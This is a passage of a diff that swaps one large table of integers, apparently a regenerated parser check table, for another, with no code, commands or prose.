-      75,   102,    99,    23,    86,    87,   509,   510,    99,    23,
-      92,    99,    10,    95,    96,    97,    98,   512,   185,    10,
-      51,   524,    10,   429,   430,    10,    10,    58,    59,    60,
-      61,    20,    99,   448,   529,    99,    99,   204,    99,    99,
-     455,   100,   537,    73,    74,    75,   101,    78,    79,    80,
-      81,    82,    83,    84,    85,    86,    87,    99,    99,   465,
-     466,    92,    99,   453,    95,    96,    97,    98,     9,   101,
-     485,   101,    73,    74,    75,    10,    99,    58,    59,    60,
-      61,    73,    74,    75,   100,     0,     9,   502,    99,    25,
-      77,    73,    74,    75,     9,    99,    11,    12,    71,   101,
-     101,    78,   508,    84,    85,    86,    87,   100,     9,   101,
-     525,    92,    19,    99,    95,    96,    97,    98,   285,   101,
-      99,   496,    70,   101,    39,    40,    41,    42,    73,    74,
-      75,    46,    99,    48,    92,    99,    51,    95,    96,    97,
-      98,    12,   309,    58,    59,    60,    61,    99,    73,    74,
-      75,   318,    98,   465,    99,    33,   530,   196,    73,    74,
-      75,     0,    77,    78,    79,    80,    81,    82,    83,    84,
-      85,    86,    87,    12,    99,   375,    58,    92,    60,    61,
-      95,    96,    97,    98,    99,    87,   101,   305,    82,   104,
-      92,    60,    61,    95,    96,    97,    98,   244,   442,   422,
-      39,    40,    41,    42,    86,    87,   473,    46,   472,    48,
-      92,   143,    51,    95,    96,    97,    98,    -1,    87,    58,
-      59,    60,    61,    92,   318,    -1,    95,    96,    97,    98,
-      95,    96,    97,    98,    73,    74,    75,    -1,    77,    78,
-      79,    80,    81,    82,    83,    84,    85,    86,    87,    73,
-      74,    75,    -1,    92,   204,    -1,    95,    96,    97,    98,
-      99,    -1,   101,     0,     1,   104,    -1,    -1,    -1,    -1,
-      -1,    -1,     9,    -1,    11,    99,    13,    14,    15,    16,
-      17,    -1,    -1,    20,    21,    22,    23,    24,    -1,    26,
-      27,    28,    29,    30,    31,    32,    33,    34,    35,    36,
-      37,    38,    39,    40,    41,    42,    60,    -1,    -1,    46,
-      47,    48,    49,    50,    -1,    52,    53,    54,    55,    56,
-      57,    73,    74,    75,    -1,    62,    63,    64,    65,    66,
-      67,    68,    -1,    87,    73,    74,    75,    -1,    92,    76,
-      -1,    95,    96,    97,    98,    -1,    -1,    99,    -1,    -1,
-      -1,    88,    89,    -1,    91,    -1,    93,    94,     0,     1,
-      99,    -1,    -1,   100,   101,   102,   103,     9,    -1,    11,
+      15,   117,     9,   129,   236,     9,   434,     9,    46,   324,
+      46,     9,     9,    20,    16,   464,    20,     9,    25,    11,
+      11,    25,    15,    16,    40,   314,    15,    16,   144,     9,
+       0,    11,    48,    11,     8,   324,    15,    16,   327,   328,
+     102,    43,    15,    16,    17,    79,    17,    18,    20,    75,
+      76,    77,    54,    25,     9,    23,    11,    11,     9,    30,
+      11,    75,    76,    77,    35,   199,   200,     9,    39,    11,
+      11,    42,   106,   102,    45,   101,    47,    12,    49,    50,
+      51,    52,    53,     9,     9,    11,    11,   101,     9,    15,
+      16,    17,    12,    71,   543,    21,    69,   104,   105,   102,
+     104,   117,   102,    77,   230,   533,   103,   102,   146,   100,
+     146,   104,    79,   402,    93,   104,    71,    71,   120,     9,
+     136,    12,   102,   102,    20,   104,   128,   129,   144,    71,
+      23,   104,    19,    20,    21,   103,    23,    24,    64,   102,
+      75,    76,    77,    45,    46,   147,    71,   103,   437,   438,
+       9,   383,    11,    40,    41,    75,    76,    77,    75,    76,
+      77,   163,   164,   165,   102,   167,   168,   169,   102,    56,
+     208,     9,   208,    11,   102,   146,   102,    47,   104,   105,
+     469,     9,   197,    11,    75,    76,    77,   189,   190,   191,
+     192,   193,   194,   195,   196,   166,    12,   429,   102,   170,
+     171,   172,   173,   174,   175,   176,   177,   178,   179,   180,
+     181,   182,   183,   184,   102,   231,   102,   219,   220,   221,
+     222,   223,   224,   103,   340,   540,   102,   516,   230,   203,
+     204,   205,   206,   207,    12,   209,   210,   101,   212,   213,
+      71,   243,   129,    12,   370,   101,   248,    10,    19,    20,
+      21,    71,    23,    24,    33,    34,   258,    82,    83,    75,
+      76,    77,    97,    98,    99,   100,    11,   467,    69,    40,
+      41,   436,    12,    20,   439,    46,    20,    23,   443,   444,
+      93,   283,   284,    12,    55,    56,    12,   325,   290,   325,
+     490,   491,    93,   102,   101,   460,   461,    75,    76,    77,
+      10,   102,   502,   104,    23,   470,    75,    76,    77,   311,
+     312,   313,   314,    75,    76,    77,   432,   517,   518,    90,
+      11,    77,   324,   105,   340,   327,   328,    20,   493,   105,
+     105,    10,   497,   498,   534,    75,    76,    77,   105,   101,
+      19,    20,    21,   102,    23,    24,    75,    76,    77,    75,
+      76,    77,   326,   355,   105,   520,    18,    10,   129,   102,
+      39,    40,    41,    42,   101,   104,   102,   341,   370,    75,
+      76,    77,    10,    10,   539,   146,    55,    56,    10,    75,
+      76,    77,   547,    75,    76,    77,    10,    20,   359,    41,
+      42,    43,    44,    75,    76,    77,    48,   103,    50,   101,
+     402,    75,    76,    77,   406,   102,   380,   103,   103,    10,
+     384,   103,   101,   101,    93,   101,   432,   188,   101,   101,
+     101,   395,   102,    75,    76,    77,    75,    76,    77,   103,
+     101,   101,   447,     9,   449,   437,   438,   208,    53,    75,
+      76,    77,     9,   458,   123,    60,    61,    62,    63,   101,
+     129,   101,    94,     9,   103,    97,    98,    99,   100,   103,
+      60,    61,    62,    63,   103,   101,   468,   469,    83,    84,
+      85,    86,    87,    88,    89,    62,    63,   492,   101,    94,
+     454,     0,    97,    98,    99,   100,    86,    87,    88,    89,
+       9,    73,    11,    12,    94,   103,   103,    97,    98,    99,
+     100,    88,    89,   101,    75,    76,    77,    94,   101,    25,
+      97,    98,    99,   100,   516,    79,   101,   103,   102,    80,
+     291,   536,    41,    42,    43,    44,    75,    76,    77,    48,
+      72,    50,   103,   101,    53,    19,   101,   216,   101,    12,
+     100,    60,    61,    62,    63,   316,   468,     0,    75,    76,
+      77,   522,   101,   540,   325,   312,    75,    76,    77,    12,
+      79,    80,    81,    82,    83,    84,    85,    86,    87,    88,
+      89,   382,    75,    76,    77,    94,   103,   250,    97,    98,
+      99,   100,   101,   477,   103,   454,   430,   106,    41,    42,
+      43,    44,    75,    76,    77,    48,   506,    50,   101,   507,
+      53,     3,     4,     5,     6,     7,     8,    60,    61,    62,
+      63,   146,   291,   325,   208,    -1,    -1,    -1,   101,    -1,
+      -1,    -1,    75,    76,    77,    -1,    79,    80,    81,    82,
+      83,    84,    85,    86,    87,    88,    89,    -1,    -1,    -1,
+      -1,    94,    -1,    -1,    97,    98,    99,   100,   101,    -1,
+     103,     0,     1,   106,    -1,    -1,    -1,    -1,    -1,    -1,
+       9,    -1,    11,    -1,    13,    14,    15,    16,    17,    -1,
+      -1,    20,    21,    22,    23,    24,    -1,    26,    27,    28,
+      29,    30,    31,    32,    33,    34,    35,    36,    37,    38,
+      39,    40,    41,    42,    43,    44,    62,    63,    -1,    48,
+      49,    50,    51,    52,    -1,    54,    55,    56,    57,    58,
+      59,    -1,    -1,    -1,    -1,    64,    65,    66,    67,    68,
+      69,    70,    -1,    89,    -1,    -1,    -1,    -1,    94,    78,
+      -1,    97,    98,    99,   100,    -1,    -1,    -1,    -1,    -1,
+      -1,    90,    91,    -1,    93,    -1,    95,    96,     0,     1,
+      -1,    -1,    -1,   102,   103,   104,   105,     9,    -1,    11,
       -1,    13,    14,    15,    16,    17,    -1,    -1,    20,    21,
       22,    23,    24,    -1,    26,    27,    28,    29,    30,    31,
       32,    33,    34,    35,    36,    37,    38,    39,    40,    41,
-      42,    -1,    -1,    -1,    46,    47,    48,    49,    50,    -1,
-      52,    53,    54,    55,    56,    57,    -1,    -1,    -1,    -1,
-      62,    63,    64,    65,    66,    67,    68,     3,     4,     5,
-       6,     7,     8,    -1,    76,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    88,    89,    -1,    91,
-      -1,    93,    94,    -1,     1,    -1,    -1,    -1,   100,   101,
-     102,   103,     9,    10,    11,    -1,    13,    14,    15,    16,
+      42,    43,    44,    62,    -1,    -1,    48,    49,    50,    51,
+      52,    -1,    54,    55,    56,    57,    58,    59,    -1,    -1,
+      -1,    -1,    64,    65,    66,    67,    68,    69,    70,    -1,
+      89,    -1,    -1,    -1,    -1,    94,    78,    -1,    97,    98,
+      99,   100,    -1,    -1,    -1,    -1,    -1,    -1,    90,    91,
+      -1,    93,    -1,    95,    96,    -1,     1,    -1,    -1,    -1,
+     102,   103,   104,   105,     9,    10,    11,    -1,    13,    14,
+      15,    16,    17,    -1,    -1,    20,    21,    22,    23,    24,
+      -1,    26,    27,    28,    29,    30,    31,    32,    33,    34,
+      35,    36,    37,    38,    39,    40,    41,    42,    43,    44,
+      -1,    -1,    -1,    48,    49,    50,    51,    52,    -1,    54,
+      55,    56,    57,    58,    59,    -1,    -1,    -1,    -1,    64,
+      65,    66,    67,    68,    69,    70,    89,    -1,    -1,    -1,
+      -1,    94,    -1,    78,    97,    98,    99,   100,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    90,    91,    -1,    93,    -1,
+      95,    96,    -1,     1,    -1,    -1,    -1,   102,   103,   104,
+     105,     9,    10,    11,    -1,    13,    14,    15,    16,    17,
+      -1,    -1,    20,    21,    22,    23,    24,    -1,    26,    27,
+      28,    29,    30,    31,    32,    33,    34,    35,    36,    37,
+      38,    39,    40,    41,    42,    43,    44,    -1,    -1,    -1,
+      48,    49,    50,    51,    52,    -1,    54,    55,    56,    57,
+      58,    59,    -1,    -1,    -1,    -1,    64,    65,    66,    67,
+      68,    69,    70,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
+      78,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    90,    91,    -1,    93,    -1,    95,    96,    -1,
+       1,    -1,    -1,    -1,   102,   103,   104,   105,     9,    10,
+      11,    -1,    13,    14,    15,    16,    17,    -1,    -1,    20,
+      21,    22,    23,    24,    -1,    26,    27,    28,    29,    30,
+      31,    32,    33,    34,    35,    36,    37,    38,    39,    40,
+      41,    42,    43,    44,    -1,    -1,    -1,    48,    49,    50,
+      51,    52,    -1,    54,    55,    56,    57,    58,    59,    -1,
+      -1,    -1,    -1,    64,    65,    66,    67,    68,    69,    70,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    78,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    90,
+      91,    -1,    93,    -1,    95,    96,    -1,     1,    -1,    -1,
+      -1,   102,   103,   104,   105,     9,    10,    11,    -1,    13,
+      14,    15,    16,    17,    -1,    -1,    20,    21,    22,    23,
+      24,    -1,    26,    27,    28,    29,    30,    31,    32,    33,
+      34,    35,    36,    37,    38,    39,    40,    41,    42,    43,
+      44,    -1,    -1,    -1,    48,    49,    50,    51,    52,    -1,
+      54,    55,    56,    57,    58,    59,    -1,    -1,    -1,    -1,
+      64,    65,    66,    67,    68,    69,    70,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    78,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    90,    91,    -1,    93,
+      -1,    95,    96,    -1,     1,    -1,    -1,    -1,   102,   103,
+     104,   105,     9,    10,    11,    -1,    13,    14,    15,    16,
       17,    -1,    -1,    20,    21,    22,    23,    24,    -1,    26,
       27,    28,    29,    30,    31,    32,    33,    34,    35,    36,
-      37,    38,    39,    40,    41,    42,    -1,    -1,    -1,    46,
-      47,    48,    49,    50,    -1,    52,    53,    54,    55,    56,
-      57,    -1,    -1,    -1,    -1,    62,    63,    64,    65,    66,
-      67,    68,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    76,
+      37,    38,    39,    40,    41,    42,    43,    44,    -1,    -1,
+      -1,    48,    49,    50,    51,    52,    -1,    54,    55,    56,
+      57,    58,    59,    -1,    -1,    -1,    -1,    64,    65,    66,
+      67,    68,    69,    70,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    78,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    90,    91,    -1,    93,    -1,    95,    96,
+      -1,     1,    -1,    -1,    -1,   102,   103,   104,   105,     9,
+      -1,    11,    -1,    13,    14,    15,    16,    17,    -1,    -1,
+      20,    21,    22,    23,    24,    -1,    26,    27,    28,    29,
+      30,    31,    32,    33,    34,    35,    36,    37,    38,    39,
+      40,    41,    42,    43,    44,    -1,    -1,    -1,    48,    49,
+      50,    51,    52,    -1,    54,    55,    56,    57,    58,    59,
+      -1,    -1,    -1,    -1,    64,    65,    66,    67,    68,    69,
+      70,    -1,    -1,    73,    -1,    -1,    -1,    -1,    78,    -1,
       -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    88,    89,    -1,    91,    -1,    93,    94,    -1,     1,
-      -1,    -1,    -1,   100,   101,   102,   103,     9,    10,    11,
-      -1,    13,    14,    15,    16,    17,    -1,    -1,    20,    21,
-      22,    23,    24,    -1,    26,    27,    28,    29,    30,    31,
-      32,    33,    34,    35,    36,    37,    38,    39,    40,    41,
-      42,    -1,    -1,    -1,    46,    47,    48,    49,    50,    -1,
-      52,    53,    54,    55,    56,    57,    -1,    -1,    -1,    -1,
-      62,    63,    64,    65,    66,    67,    68,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    76,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    88,    89,    -1,    91,
-      -1,    93,    94,    -1,     1,    -1,    -1,    -1,   100,   101,
-     102,   103,     9,    10,    11,    -1,    13,    14,    15,    16,
-      17,    -1,    -1,    20,    21,    22,    23,    24,    -1,    26,
-      27,    28,    29,    30,    31,    32,    33,    34,    35,    36,
-      37,    38,    39,    40,    41,    42,    -1,    -1,    -1,    46,
-      47,    48,    49,    50,    -1,    52,    53,    54,    55,    56,
-      57,    -1,    -1,    -1,    -1,    62,    63,    64,    65,    66,
-      67,    68,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    76,
+      90,    91,    -1,    93,    -1,    95,    96,    -1,     1,    -1,
+      -1,    -1,   102,   103,   104,   105,     9,    -1,    11,    -1,
+      13,    14,    15,    16,    17,    -1,    -1,    20,    21,    22,
+      23,    24,    -1,    26,    27,    28,    29,    30,    31,    32,
+      33,    34,    35,    36,    37,    38,    39,    40,    41,    42,
+      43,    44,    -1,    -1,    -1,    48,    49,    50,    51,    52,
+      -1,    54,    55,    56,    57,    58,    59,    -1,    -1,    -1,
+      -1,    64,    65,    66,    67,    68,    69,    70,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    78,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    90,    91,    -1,
+      93,    -1,    95,    96,    -1,     1,    -1,    -1,    -1,   102,
+     103,   104,   105,     9,    -1,    11,    -1,    13,    14,    15,
+      16,    17,    -1,    -1,    20,    21,    22,    23,    24,    -1,
+      26,    27,    28,    29,    30,    31,    32,    -1,    34,    35,
+      36,    37,    38,    39,    40,    41,    42,    43,    44,    -1,
+      -1,    -1,    48,    49,    50,    51,    52,    -1,    54,    55,
+      56,    57,    58,    59,    -1,    -1,    -1,    -1,    64,    65,
+      66,    67,    68,    69,    70,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    78,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    90,    91,    -1,    93,    -1,    95,
+      96,     1,    -1,    -1,    -1,    -1,   102,   103,   104,   105,
+      -1,    11,    -1,    13,    14,    15,    16,    17,    -1,    -1,
+      20,    21,    22,    23,    24,    -1,    26,    27,    28,    29,
+      30,    31,    -1,    -1,    -1,    -1,    -1,    37,    38,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    60,    61,    62,    63,
+      -1,    -1,    52,    -1,    -1,    55,    56,    57,    58,    59,
+      -1,    -1,    -1,    -1,    64,    65,    66,    67,    68,    69,
+      70,    85,    86,    87,    88,    89,    -1,    -1,    78,    -1,
+      94,    -1,    -1,    97,    98,    99,   100,    -1,    -1,    -1,
+      90,    91,    -1,    93,    -1,    95,    96,     1,    -1,    -1,
+      -1,    -1,   102,   103,   104,   105,    -1,    11,    -1,    13,
+      14,    15,    16,    17,    -1,    -1,    20,    21,    22,    23,
+      24,    -1,    26,    27,    28,    29,    30,    31,    -1,    -1,
+      -1,    -1,    -1,    37,    38,    -1,    -1,    -1,    -1,    -1,
+      -1,    60,    61,    62,    63,    -1,    -1,    -1,    52,    -1,
+      -1,    55,    56,    57,    58,    59,    -1,    -1,    -1,    -1,
+      64,    65,    66,    67,    68,    69,    70,    -1,    87,    88,
+      89,    -1,    -1,    -1,    78,    94,    -1,    -1,    97,    98,
+      99,   100,    -1,    -1,    -1,    -1,    90,    91,    -1,    93,
+      -1,    95,    96,    -1,    -1,    -1,    -1,   101,   102,    -1,
+     104,   105,     9,    -1,    11,    -1,    13,    14,    15,    16,
+      17,    -1,    -1,    20,    21,    22,    23,    24,    25,    26,
+      27,    28,    29,    30,    31,    -1,    -1,    -1,    -1,    -1,
+      37,    38,    -1,    -1,    -1,    -1,    60,    61,    62,    63,
+      -1,    -1,    -1,    -1,    -1,    52,    -1,    -1,    55,    56,
+      57,    58,    59,    -1,    -1,    -1,    -1,    64,    65,    66,
+      67,    68,    69,    70,    88,    89,    -1,    -1,    -1,    -1,
+      94,    78,    -1,    97,    98,    99,   100,    -1,    -1,    -1,
+      -1,    -1,    -1,    90,    91,    -1,    93,    -1,    95,    96,
+      -1,    -1,    -1,    -1,    -1,   102,    -1,   104,   105,     9,
+      -1,    11,    -1,    13,    14,    15,    16,    17,    -1,    -1,
+      20,    21,    22,    23,    24,    -1,    26,    27,    28,    29,
+      30,    31,    -1,    -1,    -1,    -1,    -1,    37,    38,    -1,
+      -1,    -1,    -1,    60,    61,    62,    63,    -1,    -1,    -1,
+      -1,    -1,    52,    -1,    -1,    55,    56,    57,    58,    59,
+      -1,    -1,    -1,    -1,    64,    65,    66,    67,    68,    69,
+      70,    88,    89,    -1,    -1,    -1,    -1,    94,    78,    -1,
+      97,    98,    99,   100,    -1,    -1,    -1,    -1,    -1,    -1,
+      90,    91,    -1,    93,    -1,    95,    96,    -1,    -1,    -1,
+      -1,    -1,   102,    -1,   104,   105,    11,    12,    13,    14,
+      15,    16,    17,    -1,    -1,    20,    21,    22,    23,    24,
+      -1,    26,    27,    28,    29,    30,    31,    -1,    -1,    -1,
+      -1,    -1,    37,    38,    -1,    -1,    -1,    -1,    60,    -1,
+      62,    63,    -1,    -1,    -1,    -1,    -1,    52,    -1,    -1,
+      55,    56,    57,    58,    59,    -1,    -1,    -1,    -1,    64,
+      65,    66,    67,    68,    69,    70,    88,    89,    -1,    -1,
+      -1,    -1,    94,    78,    -1,    97,    98,    99,   100,    -1,
+      -1,    -1,    -1,    -1,    -1,    90,    91,    -1,    93,    -1,
+      95,    96,    -1,    -1,    -1,    -1,    -1,   102,    -1,   104,
+     105,    11,    -1,    13,    14,    15,    16,    17,    -1,    -1,
+      20,    21,    22,    23,    24,    -1,    26,    27,    28,    29,
+      30,    31,    -1,    -1,    -1,    -1,    -1,    37,    38,    41,
+      42,    43,    44,    -1,    -1,    -1,    48,    -1,    50,    -1,
+      -1,    -1,    52,    -1,    -1,    55,    56,    57,    58,    59,
+      -1,    -1,    -1,    -1,    64,    65,    66,    67,    68,    69,
+      70,    -1,    -1,    75,    76,    77,    -1,    -1,    78,    -1,
       -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    88,    89,    -1,    91,    -1,    93,    94,    -1,     1,
-      -1,    -1,    -1,   100,   101,   102,   103,     9,    10,    11,
-      -1,    13,    14,    15,    16,    17,    -1,    -1,    20,    21,
-      22,    23,    24,    -1,    26,    27,    28,    29,    30,    31,
-      32,    33,    34,    35,    36,    37,    38,    39,    40,    41,
-      42,    -1,    -1,    -1,    46,    47,    48,    49,    50,    -1,
-      52,    53,    54,    55,    56,    57,    -1,    -1,    -1,    -1,
-      62,    63,    64,    65,    66,    67,    68,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    76,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    88,    89,    -1,    91,
-      -1,    93,    94,    -1,     1,    -1,    -1,    -1,   100,   101,
-     102,   103,     9,    10,    11,    -1,    13,    14,    15,    16,
-      17,    -1,    -1,    20,    21,    22,    23,    24,    -1,    26,
-      27,    28,    29,    30,    31,    32,    33,    34,    35,    36,
-      37,    38,    39,    40,    41,    42,    -1,    -1,    -1,    46,
-      47,    48,    49,    50,    -1,    52,    53,    54,    55,    56,
-      57,    -1,    -1,    -1,    -1,    62,    63,    64,    65,    66,
-      67,    68,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    76,
+      90,    91,    -1,    93,    -1,    95,    96,    -1,    -1,    -1,
+      -1,    -1,   102,   103,   104,   105,    11,    -1,    13,    14,
+      15,    16,    17,    -1,    -1,    20,    21,    22,    23,    24,
+      -1,    26,    27,    28,    29,    30,    31,    -1,    -1,    -1,
+      -1,    -1,    37,    38,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    52,    -1,    -1,
+      55,    56,    57,    58,    59,    -1,    -1,    -1,    -1,    64,
+      65,    66,    67,    68,    69,    70,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    78,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    90,    91,    -1,    93,    -1,
+      95,    96,    -1,    -1,    -1,    -1,   101,   102,    -1,   104,
+     105,    11,    -1,    13,    14,    15,    16,    17,    -1,    -1,
+      20,    21,    22,    23,    24,    -1,    26,    27,    28,    29,
+      30,    31,    -1,    -1,    -1,    -1,    -1,    37,    38,    -1,
       -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    88,    89,    -1,    91,    -1,    93,    94,    -1,     1,
-      -1,    -1,    -1,   100,   101,   102,   103,     9,    -1,    11,
-      -1,    13,    14,    15,    16,    17,    -1,    -1,    20,    21,
-      22,    23,    24,    -1,    26,    27,    28,    29,    30,    31,
-      32,    33,    34,    35,    36,    37,    38,    39,    40,    41,
-      42,    -1,    -1,    -1,    46,    47,    48,    49,    50,    -1,
-      52,    53,    54,    55,    56,    57,    -1,    -1,    -1,    -1,
-      62,    63,    64,    65,    66,    67,    68,    -1,    -1,    71,
-      -1,    -1,    -1,    -1,    76,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    88,    89,    -1,    91,
-      -1,    93,    94,    -1,     1,    -1,    -1,    -1,   100,   101,
-     102,   103,     9,    -1,    11,    -1,    13,    14,    15,    16,
-      17,    -1,    -1,    20,    21,    22,    23,    24,    -1,    26,
-      27,    28,    29,    30,    31,    32,    33,    34,    35,    36,
-      37,    38,    39,    40,    41,    42,    -1,    -1,    -1,    46,
-      47,    48,    49,    50,    -1,    52,    53,    54,    55,    56,
-      57,    -1,    -1,    -1,    -1,    62,    63,    64,    65,    66,
-      67,    68,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    76,
+      -1,    -1,    52,    -1,    -1,    55,    56,    57,    58,    59,
+      -1,    -1,    -1,    -1,    64,    65,    66,    67,    68,    69,
+      70,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    78,    -1,
       -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    88,    89,    -1,    91,    -1,    93,    94,    -1,     1,
-      -1,    -1,    -1,   100,   101,   102,   103,     9,    -1,    11,
-      -1,    13,    14,    15,    16,    17,    -1,    -1,    20,    21,
-      22,    23,    24,    -1,    26,    27,    28,    29,    30,    31,
-      32,    -1,    34,    35,    36,    37,    38,    39,    40,    41,
-      42,    -1,    -1,    -1,    46,    47,    48,    49,    50,    -1,
-      52,    53,    54,    55,    56,    57,    -1,    -1,    -1,    -1,
-      62,    63,    64,    65,    66,    67,    68,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    76,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    88,    89,    -1,    91,
-      -1,    93,    94,     1,    -1,    -1,    -1,    -1,   100,   101,
-     102,   103,    -1,    11,    -1,    13,    14,    15,    16,    17,
-      -1,    -1,    20,    21,    22,    23,    24,    -1,    26,    27,
-      28,    29,    30,    31,    -1,    -1,    -1,    -1,    36,    -1,
-      -1,    51,    -1,    -1,    -1,    -1,    -1,    -1,    58,    59,
-      60,    61,    50,    -1,    52,    53,    54,    55,    56,    57,
-      -1,    -1,    -1,    -1,    62,    63,    64,    65,    66,    67,
-      68,    81,    82,    83,    84,    85,    86,    87,    76,    -1,
-      -1,    -1,    92,    -1,    -1,    95,    96,    97,    98,    -1,
-      88,    89,    -1,    91,    -1,    93,    94,     1,    -1,    -1,
-      -1,    -1,   100,   101,   102,   103,    -1,    11,    -1,    13,
-      14,    15,    16,    17,    -1,    -1,    20,    21,    22,    23,
-      24,    -1,    26,    27,    28,    29,    30,    31,    -1,    -1,
-      -1,    -1,    36,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      58,    59,    60,    61,    -1,    -1,    50,    -1,    52,    53,
-      54,    55,    56,    57,    -1,    -1,    -1,    -1,    62,    63,
-      64,    65,    66,    67,    68,    83,    84,    85,    86,    87,
-      -1,    -1,    76,    -1,    92,    -1,    -1,    95,    96,    97,
-      98,    -1,    -1,    -1,    88,    89,    -1,    91,    -1,    93,
-      94,    -1,    -1,    -1,    -1,    99,   100,    -1,   102,   103,
-       9,    -1,    11,    -1,    13,    14,    15,    16,    17,    -1,
-      -1,    20,    21,    22,    23,    24,    25,    26,    27,    28,
-      29,    30,    31,    -1,    -1,    -1,    -1,    36,    -1,    -1,
-      -1,    -1,    -1,    -1,    58,    59,    60,    61,    -1,    -1,
-      -1,    50,    -1,    52,    53,    54,    55,    56,    57,    -1,
-      -1,    -1,    -1,    62,    63,    64,    65,    66,    67,    68,
-      -1,    85,    86,    87,    -1,    -1,    -1,    76,    92,    -1,
-      -1,    95,    96,    97,    98,    -1,    -1,    -1,    -1,    88,
-      89,    -1,    91,    -1,    93,    94,    -1,    -1,    -1,    -1,
-      -1,   100,    -1,   102,   103,     9,    -1,    11,    -1,    13,
-      14,    15,    16,    17,    -1,    -1,    20,    21,    22,    23,
-      24,    -1,    26,    27,    28,    29,    30,    31,    -1,    -1,
-      -1,    -1,    36,    -1,    -1,    -1,    -1,    58,    59,    60,
-      61,    -1,    -1,    -1,    -1,    -1,    50,    -1,    52,    53,
-      54,    55,    56,    57,    -1,    -1,    -1,    -1,    62,    63,
-      64,    65,    66,    67,    68,    86,    87,    -1,    -1,    -1,
-      -1,    92,    76,    -1,    95,    96,    97,    98,    -1,    -1,
-      -1,    -1,    -1,    -1,    88,    89,    -1,    91,    -1,    93,
-      94,    -1,    -1,    -1,    -1,    -1,   100,    -1,   102,   103,
-      11,    12,    13,    14,    15,    16,    17,    -1,    -1,    20,
-      21,    22,    23,    24,    -1,    26,    27,    28,    29,    30,
-      31,    -1,    -1,    -1,    -1,    36,    -1,    -1,    -1,    -1,
-      58,    59,    60,    61,    -1,    -1,    -1,    -1,    -1,    50,
-      -1,    52,    53,    54,    55,    56,    57,    -1,    -1,    -1,
-      -1,    62,    63,    64,    65,    66,    67,    68,    86,    87,
-      -1,    -1,    -1,    -1,    92,    76,    -1,    95,    96,    97,
-      98,    -1,    -1,    -1,    -1,    -1,    -1,    88,    89,    -1,
-      91,    -1,    93,    94,    -1,    -1,    -1,    -1,    -1,   100,
-      -1,   102,   103,    11,    -1,    13,    14,    15,    16,    17,
-      -1,    -1,    20,    21,    22,    23,    24,    -1,    26,    27,
-      28,    29,    30,    31,    -1,    -1,    -1,    -1,    36,    -1,
+      90,    91,    -1,    93,    -1,    95,    96,    -1,    -1,    -1,
+      -1,   101,   102,    -1,   104,   105,    11,    -1,    13,    14,
+      15,    16,    17,    -1,    -1,    20,    21,    22,    23,    24,
+      -1,    26,    27,    28,    29,    30,    31,    -1,    -1,    -1,
+      -1,    -1,    37,    38,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    52,    -1,    -1,
+      55,    56,    57,    58,    59,    -1,    -1,    -1,    -1,    64,
+      65,    66,    67,    68,    69,    70,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    78,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    90,    91,    -1,    93,    -1,
+      95,    96,    -1,    -1,    -1,    -1,   101,   102,    -1,   104,
+     105,    11,    -1,    13,    14,    15,    16,    17,    -1,    -1,
+      20,    21,    22,    23,    24,    -1,    26,    27,    28,    29,
+      30,    31,    -1,    -1,    -1,    -1,    -1,    37,    38,    -1,
       -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    50,    -1,    52,    53,    54,    55,    56,    57,
-      -1,    -1,    -1,    -1,    62,    63,    64,    65,    66,    67,
-      68,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    76,    -1,
+      -1,    -1,    52,    -1,    -1,    55,    56,    57,    58,    59,
+      -1,    -1,    -1,    -1,    64,    65,    66,    67,    68,    69,
+      70,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    78,    -1,
       -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      88,    89,    -1,    91,    -1,    93,    94,    -1,    -1,    -1,
-      -1,    -1,   100,   101,   102,   103,    11,    -1,    13,    14,
+      90,    91,    -1,    93,    -1,    95,    96,    -1,    -1,    -1,
